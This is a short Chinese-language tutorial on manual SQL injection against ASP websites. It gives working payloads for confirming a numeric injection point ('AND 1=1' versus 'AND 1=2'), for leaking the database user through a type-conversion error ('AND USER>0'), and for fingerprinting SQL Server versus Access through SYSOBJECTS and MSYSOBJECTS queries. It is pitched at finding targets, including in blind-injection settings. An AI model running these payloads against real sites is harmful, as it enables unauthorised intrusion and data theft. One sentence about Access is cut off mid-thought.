單引號測試不可靠(易誤判、易被過濾)。標準判斷流程:
https://site/show.asp?id=49 → 正常顯示(基準)。...id=49 AND 1=1 → **正常顯示,內容與基準一致**(條件恆真,邏輯未變)。...id=49 AND 1=2 → **異常**:BOF/EOF 錯誤、查無記錄、內容為空(條件恆假,查詢無結果)。**符合上述三特徵 → 確定存在數值型注入點。**
不可注入特徵:1=1、1=2 均觸發程式自訂錯誤或型別轉換錯誤。
此法僅適用數值型參數。字串型、搜尋型參數判斷邏輯不同(詳見進階篇)。
ASP 主流搭配 Access 或 SQL Server(佔比 99%+)。識別方法:
...id=49 AND USER>0
USER 為系統變數(NVARCHAR),與 INT 比較報錯,錯誤訊息直接洩露用戶名(如 dbo 即 sa)。USER 變數,報語法錯誤或無反應。兩資料庫系統表差異:
SYSOBJECTS(Web 環境可讀)。MSYSOBJECTS(Web 環境通常無權限讀取)。執行兩條測試:
...id=49 AND (SELECT COUNT(*) FROM SYSOBJECTS)>0
...id=49 AND (SELECT COUNT(*) FROM MSYSOBJECTS)>0
| 資料庫 | SYSOBJECTS 測試 | MSYSOBJECTS 測試 |
|---|---|---|
| SQL Server | 頁面正常(條件真) | 頁面異常/報錯(表不存在) |
| Access | 頁面異常(表不存在) | 頁面異常(無權限/不存在) |
**首條測試通常即可確定類型**,次條作驗證。掌握此法,盲注環境也能精準識別目標。